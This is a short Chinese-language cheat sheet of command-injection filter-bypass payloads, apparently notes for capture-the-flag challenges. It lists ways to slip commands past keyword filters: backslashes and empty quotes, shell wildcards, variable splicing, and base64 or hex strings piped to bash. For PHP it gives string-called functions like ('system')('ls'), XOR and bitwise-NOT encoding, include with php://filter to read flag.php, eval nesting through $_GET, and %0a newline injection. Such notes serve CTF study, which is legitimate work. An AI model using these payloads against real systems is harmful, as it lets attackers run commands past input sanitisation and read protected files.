命令执行过滤关键字
过滤关键字
反斜杠绕过 ca\t y1n\g.php
两个单引号绕过 cat y1''ng.php
base64编码绕过 echo “base64编码” | base64 -d | bash
hex编码绕过 echo "hex编码" | xxd -r -p | bash
用[ ]进行匹配 cat y1[n]g.php
用* 匹配任意 cat y1n*
用?匹配任意 cat y1n?
用{ }匹配范围 cat y1{a..z}g.php
变量 $a=fl;$b=ag;cat $a$b.php
拼接绕过 ‘fl’.'ag'
括号绕过 (sy.(st).em)(ls);
除了上述方式,还可以用字符串拼接的方式绕过。
python字符串拼接:
1.+ eg: ‘a’+‘b’ 输出:‘ab’
2.贴贴 eg: ‘a’‘b’ 输出:‘ab’
PHP拼接:
. eg: ‘a’.‘b’ 输出:‘ab’
解释内联执行:将前一个执行结果作为后一个执行的参数。
过滤所有字母和数字:
1.位运算-异或(见脚本)
2.取反(见脚本)
3.短标签
一个字符串,将它用括号括起来,后面再跟一个括号,就会调用同名的函数。
eg:(“system”)(); 其实就等于执行 system();
eg:(“system”)(“ls”); 其实就等于执行 system(“ls”);
将 system 等字符串用位运算进行编码,可以绕过许多过滤。
注意: 编码后不用"",样式是 (编码)();
使用include函数包含绕过:
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
嵌套绕过:
?c=eval($_GET[1]);$1=phpinfo();
若能执行,变量$1就不再受过滤限制
积累:
-
过滤/,如 ls /用不了,可以使用ls -al,然后命令联合执行
-
%0a是回车符的url编码,有时候过滤了;&|可以使用,但是注意,最好在浏览器url栏直接使用,或者使用hackbar,在题目的输入框使用可能没有效果。